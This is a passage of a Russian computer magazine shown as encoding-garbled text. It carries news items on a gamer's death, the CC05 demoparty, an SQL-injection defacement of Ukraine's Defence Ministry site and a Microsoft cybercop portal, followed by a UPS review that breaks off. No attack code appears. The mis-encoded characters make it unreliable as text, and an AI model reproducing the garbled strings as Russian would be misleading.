çà ìîíèòîðîì, ÷óâàê îòðûâàëñÿ îò íåãî ëèøü íà òóàëåò è êðàòêîâðåìåí-
íûé ñîí. Êîãäà áûâøèå êîëëåãè ïî ðàáîòå (Ëè óâîëèëñÿ, ÷òîáû áûëî
áîëüøå âðåìåíè íà èãðó), ïî ïðîñüáå ìàòåðè, ïðèøëè âåðíóòü åãî äî-
ìîé, ãåéìåð ïîîáåùàë çàêîí÷èòü ñâîè âíóòðèèãðîâûå äåëà è ïðèéòè.
Íî áóêâàëüíî ÷àñ ñïóñòÿ îòêèíóë êîíüêè. Âñêðûòèå ïîêàçàëî � áîëüíîé
óìåð îò âñêðûòèÿ� âåðíåå îò èñòîùåíèÿ è èíòåíñèâíîé íàãðóçêè. Ãàçå-
òû, êàê âñåãäà, ðàçâåëè èç ýòîãî
ñëó÷àÿ øóìèõó. Ìîë, íà åãî ìåñòå
ìîæåøü áûòü òû. Äà ëàäíî âàì,
òîâàðèùè ãàçåò÷èêè, ÿ è ïîáîëüøå
çàñèæèâàëñÿ, è íè÷åãî � çäîðîâ
êàê îãóð÷èê. Ìîæåò ó Ëè êàêàÿ-òî
ëèõîðàäêà ñëó÷èëàñü, èëè êàêîé-
íèáóäü çëîêà÷åñòâåííûé ðàê ìîç-
ãà. Íàçâàíèå èãðû, çà êîòîðîé ïî-
ìåð ïàöèåíò, íåèçâåñòíî, íî ñòàâ-
ëþ ïÿòüñîò ðóáëåé çîëîòîì � ýòî
World of Warcraft.

Â ÏÈÒÅÐÅ 
ÏÐÎØÅË CC05

Ñ 20 ïî 21 àâãóñòà â ñëàâíîì ãîðîäå Ñàíêò-Ïåòåðáóðã ïðîøåë î÷å-
ðåäíîé åæåãîäíûé ôåñòèâàëü êîìïüþòåðíîãî èñêóññòâà Chaos
Construction. Ïðîâîäèëñÿ îí, êàê è â ïðîøëîì ãîäó, â çäàíèè òîð-
ãîâîãî êîìïëåêñà ËÄÌ è ñîáðàë áîëåå 400 ïîñåòèòåëåé. Âàø ïî-
êîðíûé òîæå óñïåë îòìåòèòüñÿ. Â öåëîì âñå ïðîøëî äîâîëüíî
ãëàäêî, ïðàâäà, áåç ïðèÿòíûõ ñþðïðèçîâ, òàêèõ êàê ïîëþáèâøèé-
ñÿ íàðîäó â ïðîøëîì ãîäó ãèïíîòè÷åñêèé êâàäðàòèê. Íîìèíàöèé
áûëî ìíîãî, ïîìèìî ñòàíäàðòíûõ PC/Amiga/ZX-Spectrum ïëàò-
ôîðì, àâòîðû ïðåäñòàâèëè ðàáîòû è ïîä ìîáèëüíûå ñèñòåìû. Ïà-
ðàëëåëüíî ñ ôåñòèâàëåì, ïðîõîäèëà âûñòàâêà äðåâíèõ êîìïüþòå-
ðîâ, ãäå ìîæíî áûëî ïîãëàçåòü è äàæå ïîùóïàòü òàêèõ ñòàðè÷êîâ,
êàê Amiga 500, ÁÊ0011Ì, Commodore 64, Amstrad Notepad, ÈÑÊÐÀ-
1030, Yamaha MSX-2, AT&T UNIX PC 7300, Robotron-1715 / CP/M è
äðóãèå ýêñïîíàòû. Íîâîââåäåíèåì ïàòè ñòàë ñåìèíàð, íà êîòîðîì
ñîòðóäíèêè êîìïàíèè Kenjitsu ðàññêàçûâàëè î Nextgen � íîâåé-
øèõ òåõíîëîãèÿõ ñîçäàíèÿ 3D àðòà äëÿ èãð è äåìî. Òàêæå ìîæíî áû-
ëî ïîñëóøàòü ëåêöèè î 3D-ìîäåëèðîâàíèè è ðàçíûõ ïðîãðàììåðñ-
êèõ òðþêàõ. ×òîáû ðàçâëå÷ü ïóáëèêó, áûëè ïðèãëàøåíû ñöåíîâûå
ãðóïïû McLighter è ChipCult, èñïîëíèâøèå ñâîè õèòû. Íå îáîøëîñü
è áåç Hidden party � òóñîâêè ñöåíåðîâ íà îòêðûòîì âîçäóõå, êîòî-
ðàÿ â ýòîì ãîäó ïðîõîäèëà â ïðèãîðîäå Ñïá íåäàëåêî îò Îðàíèåí-
áàóìà. Áîëåå ïîäðîáíî î ìåðîïðèÿòèè ìîæíî ïî÷èòàòü íà ñàéòå
http://cc5.org.ru, à áîëüøèíñòâî ðàáîò, ó÷àñòâîâàâøèõ â ðàçíûõ
êîìïî, âçÿòü íà íàøåì äèñêå.

ÌÈÍÈÑÒÅÐÑÒÂÎ 
ÎÁÎÐÎÍÛ ÓÊÐÀÈÍÛ
ÕÀÊÍÓËÈ

Íåêîòîðîå âðåìÿ íàçàä, ñïåöû èç óêðàèíñêîé security-êîìïàíèè
«Ukrainian PHP Group» ïðîàíàëèçèðîâàëè çàùèùåííîñòü ñàéòà
ìåñòíîãî Ìèíèñòåðñòâà Îáîðîíû è ïðèøëè ê âûâîäó, ÷òî çàùèùåí-
íîñòü ýòà äåðæèòñÿ åäâà ëè íå íà ñîïëÿõ. Î ÷åì èçâåñòèëè àäìèíîâ
âîåííîãî âåäîìñòâà. Íî ó ÌèíÎáîðîíû, âèäàòü, è òàê äåë ïî ãîðëî,
÷òîáû åùå çàùèùåííîñòüþ êîìïüþòåðîâ çàíèìàòüñÿ. Íåóäèâèòåëü-
íî, ÷òî ñàéò â èòîãå õàêíóëè. Íåèçâåñòíûå õàêåðû îòäåôåéñèëè èí-
äåêñíóþ ñòðàíèöó è îñòàâèëè íà íåé ñîîáùåíèå â äóõå: «Ãðèöåíêî,
íå ñïè». Ìèíèñòð îáîðîíû, òîâàðèù Ãðèöåíêî, îò êîììåíòàðèåâ
âîçäåðæàëñÿ, çàòî êîììåíòàðèè äàëè íåçàâèñèìûå ýêñïåðòû, êîòî-
ðûå çàÿâèëè, ÷òî èç-çà SQL-óÿçâèìîñòè (èìåííîé åé âîñïîëüçîâà-
ëèñü âçëîìùèêè), âîåííîå âåäîìñòâî ìîãëî ïîëíîñòüþ ëèøèòüñÿ
ñâîåé áàçû äàííûõ. Ê ñ÷àñòüþ, íè÷åãî òàêîãî íå ïðîèçîøëî. Íî èí-
öèäåíò â î÷åðåäíîé ðàç ïîäòâåðäèë, ÷òî âëîæèòü äåíüãè â áåçîïàñ-
íîñòü êîìïüþòåðíîé ñèñòåìû âûãîäíåå, ÷åì ïîòîì îïëà÷èâàòü ïîñ-
ëåäñòâèÿ åå âçëîìà.

MICROSOFT ÁÓÄÅÒ
Ó×ÈÒÜ ÊÈÁÅÐÊÎÏÎÂ

Íà îäíîé èç íåäàâíèõ êîíôåðåí-
öèé, ïîñâÿùåííîé ðàññëåäîâàíèþ
êîìïüþòåðíûõ ïðåñòóïëåíèé,
ïðåäñòàâèòåëü Microsoft Ðè÷àðä
Ëàìàãíà îáúÿâèë î ñêîðîì îòêðû-
òèè íîâîãî ñåðâèñà Law Enforcement
Portal. Ïîñâÿùåí îí áóäåò îêàçà-
íèþ ïîìîùè âñåì, êòî ïîñâÿòèë
ñåáÿ áîðüáå ñ êèáåðïðåñòóï-
íîñòüþ. Íà ñàéòå ìîæíî áóäåò
íàéòè ðàçëè÷íûå ïðàâîâûå äîêó-
ìåíòàöèè, òåõíè÷åñêèå ñòàòüè, ñî-
âåòû ïî áûñòðîìó îáíàðóæåíèþ
õàêåðîâ, ïîëåçíûå àíòèõàêåðñêèå
ïðîãðàììû è äàæå òðåíèíãè. Ëþ-

áîé êèáåðêîï ñìîæåò ÷åðåç ñàéò íàó÷èòüñÿ áûñòðî íàõîäèòü íóæíóþ
èíôó íà äèñêå ïðåñòóïíèêà, îòñëåæèâàòü àéïèøíèêè è ñåòåâûå ìàðø-
ðóòû, þçàòü whois, è äðóãèì âåùàì, êîòîðûå íèêîãäà íå ïîìåøàþò, åñ-
ëè èìååøü äåëî ñ õàêåðàìè. Êàê ïîêàçàëè îïðîñû è èññëåäîâàíèÿ,
áîëüøèíñòâî ñîòðóäíèêîâ îðãàíîâ, ðàáîòàþùèõ â êîìïüþòåðíûõ îòäå-
ëàõ, íè÷åãî ýòîãî íå óìåþò, íî â òî æå âðåìÿ íå ïðîòèâ íàó÷èòüñÿ. Ïî-
ìèìî ïðåäîñòàâëåíèÿ ìàòåðèàëîâ, Microsoft ïëàíèðóåò íàëàäèòü ïðÿ-
ìîå ñîòðóäíè÷åñòâî ñ âëàñòÿìè è îêàçûâàòü êîíñóëüòàöèè ïîëèöåéñ-
êèì ïî âîïðîñàì áîðüáû ñî âçëîìùèêàìè. Çàïóñê ïðîåêòà íàìå÷åí íà
íîÿáðü, íî óæå â îêòÿáðå ìîæíî áóäåò ïðîéòè òåñòîâûé òðåíèíã ïî
áîðüáå ñ áîò-ñåòÿìè, êîòîðûå õàêåðû èñïîëüçóþò äëÿ ðàññûëêè ðåêëà-
ìû è DDoS-àòàê.[X
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×òî òû äåëàåøü, êîãäà ñâåðêàåò ìîëíèÿ,
âûêëþ÷àåòñÿ ñâåò è ñîñåäè íà÷èíàþò ëî-
ìèòüñÿ â äâåðü çà ñâå÷êîé? Âûñòðàèâàåøü
áàððèêàäû è æäåøü íà÷àëà âîéíû? Íå òî-
ðîïèñü � ïîäóìàé î áåçîïàñíîñòè çàðàíåå.
Ñåãîäíÿ ìû ïîãîâîðèì íå îá èíòåëëåêòó-
àëüíîé çàùèòå òâîåãî êîìïüþòåðà, à î çà-
ùèòå ýíåðãåòè÷åñêîé. Íàâåðíÿêà, òû ñòàë-
êèâàëñÿ ñ ñèòóàöèåé, êîãäà, ðàáîòàÿ íàä
åìêèì è ñåðüåçíûì ïðîåêòîì, íåîæèäàííî
âûêëþ÷àëñÿ êîìïüþòåð. Íåâàæíî, âèíîâà-
òû ëè â ýòîì ìîíòåðû, ñáîé íà ïîäñòàíöèè

èëè çàìûêàíèå � ðåçóëüòàò îäèí è òîò æå
� äàííûå ïîòåðÿíû. Áîðîòüñÿ ñ ïðîáëåìà-
ìè íåñòàáèëüíîñòè ïèòàíèÿ ïðèçâàíû Èñ-
òî÷íèêè Áåñïåðåáîéíîãî Ïèòàíèÿ � ÈÁÏ,
èëè, êàê èõ åùå èìåíóþò, UPS. Â îáÿçàí-
íîñòè ÈÁÏ âõîäèò íå òîëüêî ïîäïèòêà
êîìïüþòåðà â ìîìåíòû îòñóòñòâèÿ òîêà â
ñåòè � òåïåðü îíè âûïîëíÿþò è ìíîæå-
ñòâî äðóãèõ ôóíêöèé. Ìû æå ðåøèëè ïðî-
òåñòèðîâàòü íàèáîëåå äîñòóïíûå øèðî-
êîìó êðóãó ïîëüçîâàòåëåé óñòðîéñòâà â
öåíîâîì äèàïàçîíå äî $140

Âíóòðè ÈÁÏ íàõîäèòñÿ àêêóìóëÿòîð, ýíåðãèÿ êîòîðîãî èñïîëüçóåòñÿ äëÿ ðàáîòû â àâòîíîìíîì ðå-
æèìå. Ñòîèò îòìåòèòü, ÷òî íå òîëüêî ïîëíîå îòñóòñòâèå íàïðÿæåíèÿ âî âõîäíîé öåïè îáóñëàâëè-
âàåò ïåðåõîä â ýòîò ðåæèì, íî è ÷ðåçìåðíîå ïàäåíèå èëè ïîâûøåíèå íàïðÿæåíèÿ òàêæå àêòèâè-
çèðóþò ðåæèì ðàáîòû îò áàòàðåé. Ïîìèìî ýòîãî, íà äàííûé ìîìåíò, ïðàêòè÷åñêè âñå óñòðîéñòâà
óìåþò çàùèùàòü ëîêàëüíûå ñåòè èëè òåëåôîííûå ëèíèè îò ñêà÷êîâ íàïðÿæåíèÿ.

Òåñòèðîâàíèå âñåõ óñòðîéñòâ ïðîèçâîäè-
ëîñü ñëåäóþùèì îáðàçîì. Ïîñëå ïîäêëþ-
÷åíèÿ âñåõ ÈÁÏ ê ñåòè è âêëþ÷åíèÿ èõ, íà
ïîäçàðÿäêó àêêóìóëÿòîðîâ äàâàëèñü ñóòêè.
Íàáðàâ ïîëíóþ åìêîñòü (â ñðåäíåì, âðåìÿ
çàðÿäà ðàâíÿåòñÿ 7-8 ÷àñàì), ê ÈÁÏ ïîäê-
ëþ÷àëñÿ òåñòîâûé ñòåíä, íà êîòîðîì áûëî
çàïóùåíî íåñêîëüêî  îôèñíûõ çàäà÷ òàêèõ,
êàê òåêñòîâûé ðåäàêòîð, áðàóçåð, ïðîèãðû-
âàíèå DivX-ôèëüìà è êîïèðîâàíèå âåñîìî-
ãî ôàéëà ïî ëîêàëüíîé ñåòè. Òàì, ãäå ïîç-
âîëÿëè óñòðîéñòâà, ïðîèçâîäèëîñü ïîäêëþ-

÷åíèå ê êîìïüþòåðó è óñòàíàâëèâàëñÿ ñîîò-
âåòñòâóþùèé ñîôò. Ïðè óñòàíîâëåíèè
ñðåäíåé çàãðóæåííîñòè êîìïüþòåðà  (òàêèå
ïèêîâûå íàãðóçêè, êàê ïîñòîÿííîå êîäèðî-
âàíèå âèäåî íå ðàññìàòðèâàëèñü) ïîäà÷à
ýëåêòðîýíåðãèè íà ÈÁÏ ïðåêðàùàëàñü, è
çàñåêàëîñü âðåìÿ äî ïîëíîãî îòêëþ÷åíèÿ
óñòðîéñòâà. Â ÏÎ îòêëþ÷àëèñü âñå ïðåäóï-
ðåæäàþùèå íàäïèñè è ïðåäâàðèòåëüíîå
âûêëþ÷åíèå êîìïüþòåðà, ÷òîáû ìàêñè-
ìàëüíî òî÷íî óçíàòü âîçìîæíîå âðåìÿ ðà-
áîòû îò áàòàðåé. Íó ÷òî æ, òåñò íà÷àëñÿ.

ÝÝÍÍÅÅÐÐÃÃÅÅÒÒÈÈ××ÅÅÑÑÊÊÀÀßß
ÍÍÅÅÇÇÀÀÂÂÈÈÑÑÈÈÌÌÎÎÑÑÒÒÜÜ

[intro]

[òåõíîëîãèè]

[ìåòîäèêà òåñòèðîâàíèÿ]

[òåñòîâûé ñòåíä]

NEC MultiSync FE791 SB 17"
Epox 8RDA
AMD Athlon XP 2000+
512 Ìá
2xHDD Seagate Barracuda IV
ATI Radeon 9600 PRO
DVD-RW NEC 2500

test_lab âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå îáîðóäîâàíèå êîìïàíèÿì Ëàéòõàóñ (ò.(095)689-8603, www.lighthouseups.ru), ÌÅÐËÈÎÍ (www.merlion.ru), 
Àýðòîí (www.airton.com), Nevada (www.nevada.ru), à òàêæå ðîññèéñêîå ïðåäñòàâèòåëüñòâî êîìïàíèè ÀÐÑ. [X
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[êëàññû ÈÁÏ]

Âñå èìåþùèåñÿ ups'û ìîæ-
íî ïîäåëèòü íà 3 êëàññà ïî
òåõíè÷åñêèì õàðàêòåðèñòè-
êàì è ïî îáëàñòè âûïîëíÿå-
ìûõ çàäà÷. Íà÷íåì ñ ñàìî-
ãî ïðîñòîãî.

[îff-line èëè Standby]

Óñòðîéñòâà ýòîãî êëàññà íà
ðûíêå ðàñïðîñòðàíåíû áëà-
ãîäàðÿ ïðîñòîòå êîíñòðóêöèè
è íåâûñîêîé öåíå. Ïðèíöèï
ðàáîòû äîâîëüíî ïðîñò. Òâîé
êîìïüþòåð íàïðÿìóþ çàïè-
òûâàåòñÿ îò âíåøíåé ñåòè, è
ëèøü ïðè îòñóòñòâèè íàïðÿ-
æåíèÿ âêëþ÷àåòñÿ ðåçåðâíîå
ïèòàíèå îò áàòàðåé. Ê ïëþ-
ñàì ìîæíî ïðèïèñàòü îòíîñè-
òåëüíóþ äåøåâèçíó è  ïðîñ-
òîòó â óñòàíîâêå è ýêñïëóàòà-
öèè, ÷òî íåçàìåíèìî â óñëî-
âèÿõ îôèñà. Ê ìèíóñàì äàí-
íîãî òèïà ÈÁÏ ñòîèò îòíåñòè:
¶ïëîõóþ ôèëüòðàöèþ, ââè-
äó ïðîñòîòû ñõåìû. Âûõîä-
íîå íàïðÿæåíèå áóäåò ðàâ-
íÿòüñÿ âõîäíîìó, à ýòî çíà-
÷èò, ÷òî â äîìàõ ñî ñòàðîé
ïðîâîäêîé è áîëüøèì ÷èñ-
ëîì ïîòðåáèòåëåé âîçìîæ-
íî ïàäåíèå äî 180Â è íèæå.
Íåñòàáèëüíîñòü ïèòàíèÿ
íåãàòèâíî ñêàæåòñÿ íà äîë-
ãîâå÷íîñòè âñåé ñèñòåìû.
¶äàæå ïðè íåáîëüøèõ
ñêà÷êàõ íàïðÿæåíèÿ, óñò-
ðîéñòâî áóäåò ïåðåêëþ-
÷àòüñÿ â ðåæèì ðàáîòû îò
àêêóìóëÿòîðîâ, ñîêðàùàÿ
òåì ñàìûì èõ ðåñóðñ
¶âðåìÿ ïåðåõîäíîãî ïðî-
öåññà «âíåøíÿÿ ñåòü � áà-
òàðåè» ìîæåò ðàâíÿòüñÿ îò
5 äî 20 ìñ. Â ñëó÷àå ñî ñòó-
ïåí÷àòûì ïàäåíèåì íàïðÿ-
æåíèÿ âðåìÿ ïåðåõîäà ìî-
æåò óòðàèâàòüñÿ. ×òîáû
öèôðû íå áûëè ïóñòûìè,
ñêàæó, ÷òî ðàçîãíàííàÿ ñèñ-
òåìà íå òåðïèò ïåðåõîäíîãî
ïðîöåññà áîëåå 15 ìñ, òàê
÷òî ëèáî ñíèæàé ñêîðîñòè,
ëèáî ÷èòàé äàëåå.

[line-Interactive]

Êî âòîðîìó òèïó ÈÁÏ îòíî-
ñÿòñÿ èñòî÷íèêè Line-
Interactive, êîòîðûå òàêæå íà-
çûâàþò ãèáðèäíûìè. Ïðèí-
öèï äåéñòâèÿ àíàëîãè÷åí
óñòðîéñòâàì Off-Line ñ äî-
áàâëåíèåì ðàçëè÷íûõ ñõåì,
ïðèçâàííûõ êîìïåíñèðîâàòü
êîëåáàíèÿ â Ñåòè. Ýëåêòðè-
÷åñêàÿ ñõåìà äàííûõ óñò-
ðîéñòâ ñëîæíåå, íåæåëè ó
off-line ÈÁÏ. Äîáàâëåí ìèê-
ðîêîíòðîëëåð, ïðèçâàííûé
âûïîëíÿòü ìîíèòîðèíã çà
ñîñòîÿíèåì âñåé ñèñòåìû.
Åñëè óñòðîéñòâà standby
ìîæíî ïðåäñòàâèòü êàê àêêó-
ìóëÿòîð ñ èíâåðòåðîì, òî
äàííûé òèï UPS îáëàäàåò
âîçìîæíîñòüþ êîììóíèêà-
öèè ñ êîìïüþòåðîì è áîëåå
âûñîêèìè òåõíè÷åñêèìè õà-
ðàêòåðèñòèêàìè â îáëàñòè
çàùèòû. Áëàãîäàðÿ óñëîæíå-
íèþ ñõåìû, íà âûõîäå ïîëó-
÷àåòñÿ ñèãíàë ñ àïïðîêñèìè-
ðîâàííîé ñèíóñîèäîé èëè ñ
÷èñòîé ñèíóñîèäîé. Êàê ðàç
òàêèå UPS íàõîäÿòñÿ â íà-
øåì öåíîâîì äèàïàçîíå, èõ-
òî ìû è ïðîòåñòèðîâàëè  äëÿ
äàííîé ñòàòüè.

[on-Line]

Ïîæàëóé, ëó÷øèå áåñïå-
ðåáîéíèêè èç âñåõ èìåþ-
ùèõñÿ. Âûñîêîêà÷åñòâåí-
íûå ÈÁÏ êëàññà on-line
èìåþò òàê íàçûâàåìóþ
ãàëüâàíè÷åñêóþ ðàçâÿçêó.
Ãëàâíûé ïëþñ â òîì, ÷òî
íàãðóçêà âñåãäà ðàáîòàåò
îò àêêóìóëÿòîðà (êîòîðûé
ïîñòîÿííî ïîäçàðÿæàåò-
ñÿ), ïîýòîìó âðåìÿ ïåðå-
õîäà íà áàòàðåè, â ñëó÷àå
îòêëþ÷åíèÿ ýëåêòðîýíåð-
ãèè ðàâíÿåòñÿ 0! Ðàáîòàåò
ñõåìà äâîéíîãî ïðåîáðà-
çîâàíèÿ: âõîäÿùèé òîê
ïðåîáðàçóåòñÿ â ïîñòîÿí-
íûé äëÿ çàðÿäêè àêêóìó-
ëÿòîðîâ, à èíâåðòåð, çà-
áèðàÿ òîê ñ áàòàðåé, ïðå-
îáðàçóåò åãî â ïåðåìåí-
íûé ñ íàïðÿæåíèåì 220Â.
Òàêèå ïðîöåññû îáóñëàâ-
ëèâàþò ñòàáèëüíîå ïèòà-
íèå â ëþáîå âðåìÿ è íàè-
áîëüøóþ íåçàâèñèìîñòü
îò ìåñòíîé ýëåêòðîñåòè,
çà ÷òî ïðèõîäèòñÿ ïëà-
òèòü ìåíüøèì ðåñóðñîì
áàòàðåé è áîëüøåé ñòîè-
ìîñòüþ îáîðóäîâàíèÿ.

[*]

Çàêàí÷èâàÿ îïèñàíèå êëàñ-
ñîâ ÈÁÏ, íàäî ñêàçàòü îá îä-
íîé èíòåðåñíîé ôóíêöèè, êî-
òîðîé íàäåëåíû âñå äàííûå
äåâàéñû � Õîëîäíûé Ñòàðò.
Ñóòü äàííîé òåõíîëîãèè ïîç-
âîëÿåò àâòîíîìíî çàïèòû-
âàòü óñòðîéñòâà áåç íàëè÷èÿ
íàïðÿæåíèÿ âî âõîäíîé ñåòè.
Ýòà òåõíîëîãèÿ ïîìîæåò òåáå
ñðî÷íî ïåðåäàòü/ïðèíÿòü äî-
êóìåíò, ðàñïå÷àòàòü ÷òî-òî
ñðî÷íîå èëè íåìíîãî ïîèã-
ðàòü. Óñëîâèåì õîëîäíîãî çà-
ïóñêà ÿâëÿåòñÿ íåïîëíàÿ âîç-
ìîæíàÿ íàãðóçêà íà óñòðîé-
ñòâî, êàê ïðàâèëî, ìîùíîñòü
ñòàðòîâîé íàãðóçêè êîëåáëåò-
ñÿ îò 40 äî 80% îò ìàêñè-
ìàëüíîé ìîùíîñòè, âûäàâàå-
ìîé UPS. Ïîäâîäÿ èòîãè,
ìîæíî ñêàçàòü, ÷òî íàèëó÷-
øåé çàùèòîé ëþáîãî ýëåêò-
ðè÷åñêîãî óñòðîéñòâà ÿâëÿåò-
ñÿ ÈÁÏ êëàññà On-Line, êàê
îáåñïå÷èâàþùèé íàèâûñ-
øèé êëàññ çàùèòû è áåñïåðå-
áîéíîå ïèòàíèå íàãðóçêè, íî
ïî ýêîíîìè÷åñêèì ñîîáðàæå-
íèÿì ñòîèò ïðèñìîòðåòüñÿ ê
ÈÁÏ Line-Interactive, ÷åì ìû
ñåé÷àñ è çàéìåìñÿ.

MICROLAB UPS-650D | LIGHTHOUSE BASE 800 | LIGHTHOUSE MASTER 625
MGE NOVA 600 AVR | MGE ELLIPSE PREMIUM 650 | PCM BNT-1000AP
PPON SMART PROTECT PRO 700 | APC BACK-UPS ES 525

[çàêëþ÷åíèå]

Ýíåðãåòè÷åñêèé êðèçèñ ìîæåò ïðèêëþ÷èòüñÿ â ëþáóþ ìèíó-
òó, è, ÷òîáû áûòü ãîòîâûì ê òàêèì íåïðèÿòíîñòÿì, ïðèîáðå-
òàé ÈÁÏ. Äëÿ ñåáÿ ìû âûáðàëè PCM BNT-1000AP çà íàè-
áîëüøåå âðåìÿ àâòîíîìíîé ðàáîòû è óäîáñòâî ïîëüçîâàíèÿ.
Ïðèñóäèëè äàííîìó óñòðîéñòâó ïðèç «Âûáîð ðåäàêöèè».
Íó, à â íîìèíàöèè «Ëó÷øàÿ ïîêóïêà» ïî÷åòíîå ìåñòî çàíÿë
Lighthouse base 800, áëàãîäàðÿ îïòèìàëüíîìó ñîîòíîøåíèþ
âðåìåíè àâòîíîìíîé ðàáîòû/öåíà.



MICROLAB
UPS-650D
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 650 ÂÀ / 400 Âò
Ìîäåëü áàòàðåè: 12 Â/ 7À / 1 øò
Âåñ: 6,8 êã
Âûõîäû: 2 õ ýíåðãîíåçàâèñèìûå, 2 õ ôèëüòðàöèÿ íàïðÿæåíèÿ
Äîïîëíèòåëüíî: âíåøíèé äèñïëåé ñ èíôîðìàöèåé: 
çàãðóçêà, çàðÿä, ïåðåãðóçêà, çàðÿäêà, îøèáêà
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, òåëåôîííàÿ ëèíèÿ
Êîìïëåêòàöèÿ: 2 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, com-øíóð, ñîôò

Âðåìÿ ðàáîòû îò áàòàðåé: 7:22

Èñòî÷íèê áåñïåðåáîéíîãî ïèòàíèÿ, ïðåäñòàâëåííûé
Microlab, ïîðàäîâàë ñâîèì âíåøíèì âèäîì. Äîâîëü-
íî áîëüøîé ÆÊ-äèñïëåé îáåùàë âûñîêóþ èíôîð-
ìàòèâíîñòü âî âðåìÿ ðàáîòû. Âîçìîæíîñòü ïîäêëþ-
÷åíèÿ ê êîìïüþòåðó è îòñëåæèâàíèå ñîñòîÿíèÿ ðà-
áîòû ÈÁÏ íå ìîãëî íå ðàäîâàòü. Óñòàíîâêà è íàñò-
ðîéêà ÏÎ íå çàíÿëà ìíîãî âðåìåíè. Èíòåðôåéñ
ïðîãðàììû îêàçàëñÿ íà ðóññêîì, ÷òî ïðèÿòíî ïðè
îòñëåæèâàíèè ñèòóàöèè ðàçðÿäà. Èíäèêàòîðû íà
ÆÊ-äèñïëåå ëåãêî ÷èòàåìû, áëàãîäàðÿ ïîñòîÿííîé
îðàíæåâîé ïîäñâåòêå. Ñðåäè èíäèêàòîðîâ ïðèñóò-
ñòâóþò òàêèå, êàê çàðÿäêà, ïåðåãðóçêà, ïîòðåáëÿå-
ìàÿ ìîùíîñòü (5 äåëåíèé) è çàðÿä àêêóìóëÿòîðîâ (5
äåëåíèé). Ïðè ïðîïàäàíèè âíåøíåãî ïèòàíèÿ, óñò-
ðîéñòâî èçâåñòèëî ïèñêîì âñòðîåííîãî äèíàìèêà î
íà÷àëå ðàáîòû îò áàòàðåé. Îòêëþ÷èòü íåïðèÿòíûé
ñèãíàë íå áûëî âîçìîæíîñòè, ïîýòîìó ïðèøëîñü
ñòîéêî ïåðåíîñèòü íåïðèÿòíûé çâóê. Ïðîãðàììà
UPSilon 2000 ïîçâîëÿåò íàñòðîèòü àâòîìàòè÷åñêîå
âûêëþ÷åíèå êîìïüþòåðà, íî ìû ïðåäóñìîòðèòåëüíî
çàáëîêèðîâàëè ýòó âîçìîæíîñòü. Êîãäà èíäèêàòîð
çàðÿäà áàòàðåé äîñòèã 20%, êîìïüþòåð ïîãàñ, à
ÆÊ-äèñïëåé ÈÁÏ âûñâåòèë îøèáêó. Âðåìÿ íåïðå-
ðûâíîé ðàáîòû îò áàòàðåé ñîñòàâèëî 7 ìèíóò 22 ñå-
êóíäû. Ìíîãî ýòî èëè íåò � ðåøàòü òåáå. ×òîáû
ñîõðàíèòü âñå îòêðûòûå äîêóìåíòû è çàêîí÷èòü ðà-
áîòó, ýòîãî âïîëíå äîñòàòî÷íî, íî çàâåðøèòü çàïèñü
DVD, åñëè òû òîëüêî íà÷àë ïðîæèã, � ìîæåò íå õâà-
òèòü. Â öåëîì, ïîíðàâèëàñü èíôîðìàòèâíàÿ ïàíåëü
íà ñàìîì äåâàéñå è ðóññêîãîâîðÿùèé ñîôò � õîðî-
øàÿ ìîäåëü äëÿ îôèñà è äîìà, åñëè òû íå çàíèìà-
åøüñÿ ãðîìîçäêèìè îïåðàöèÿìè, êîòîðûå íåò âîç-
ìîæíîñòè ðåçêî ïðåêðàòèòü.

Lighthouse
base 800
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 800 ÂÀ / 400 Âò
Ìîäåëü áàòàðåè: 12 Â/ 9À / 1 øò
Âåñ: 7 êã
Âûõîäû: 3 õ ýíåðãîíåçàâèñèìûå
Äîïîëíèòåëüíî: äâà ñâåòîäèîäíûõ èíäèêàòîðà
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, òåëåôîííàÿ ëèíèÿ
Êîìïëåêòàöèÿ: 2 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, com-øíóð

Âðåìÿ ðàáîòû îò áàòàðåé: 15:06

Ïðîèçâîäèòåëü ýòèõ ÈÁÏ ïîçèöèîíèðóåò ëèíåéêó
Lighthouse base êàê èñòî÷íèêè äëÿ íå î÷åíü òðåáî-
âàòåëüíûõ ñèñòåì ñ äèàãîíàëüþ ìîíèòîðà â 17".
Òåñòîâûé ñòåíä, îñíàùåííûé ìîíèòîðîì ÝËÒ â 17"
ìîæíî ñ÷èòàòü ñðåäíåé «äîìàøíåé» ðàáî÷åé ìà-
øèíîé. Îôèñíàÿ òåõíèêà äåðæèòñÿ ïðèìåðíî íà
òîì æå óðîâíå ïîòðåáëåíèÿ ýíåðãèè. Óñòàíîâêà è
ïîäêëþ÷åíèå UPS íå çàíÿëè ìíîãî âðåìåíè, îáåñ-
êóðàæèëî ëèøü îòñóòñòâèå ñîïóòñòâóþùåãî ÏÎ, òåì
áîëåå, ÷òî êîììóíèêàöèîííûé êàáåëü â êîìïëåêò
âõîäèò. Äëÿ òåõ, êòî óæå èìååò äàííûé ÈÁÏ èëè ñî-
áèðàåòñÿ ïðèîáðåñòè, íóæíî áóäåò çàéòè íà ñòðàíè-
öó http://www.lighthouseups.ru/lighthouse_base è ñêà-
÷àòü óíèâåðñàëüíîå ÏÎ. Òàì æå ìîæíî îçíàêîìèòü-
ñÿ ñ òåõíè÷åñêèìè ïàðàìåòðàìè âñåé ñåðèè
Lighthouse base. 3 âûõîäà ïèòàíèÿ ïîçâîëÿò ïîäê-
ëþ÷èòü íå òîëüêî áëîê êîìïüþòåðà è ìîíèòîð, íî è
åùå êàêîå-ëèáî óñòðîéñòâî, áóäü òî ïðèíòåð èëè
ñêàíåð, íî íå ñòîèò ïîäêëþ÷àòü ëàçåðíûå ïå÷àòàþ-
ùèå óñòðîéñòâà � ïèêîâûå íàãðóçêè ìîãóò â íåñ-
êîëüêî ðàç ïðåâûøàòü ìîùíîñòü ÈÁÏ. Ïî èíñòðóê-
öèè, àêêóìóëÿòîðû äàííîãî óñòðîéñòâà âîññòàíàâ-
ëèâàþò 90% ñâîåé åìêîñòè çà 8 ÷àñîâ. Äàâ óñòðîé-
ñòâó çàðÿäèòüñÿ ñóòêè, ìû íà÷àëè èñïûòàíèÿ. Îïÿòü
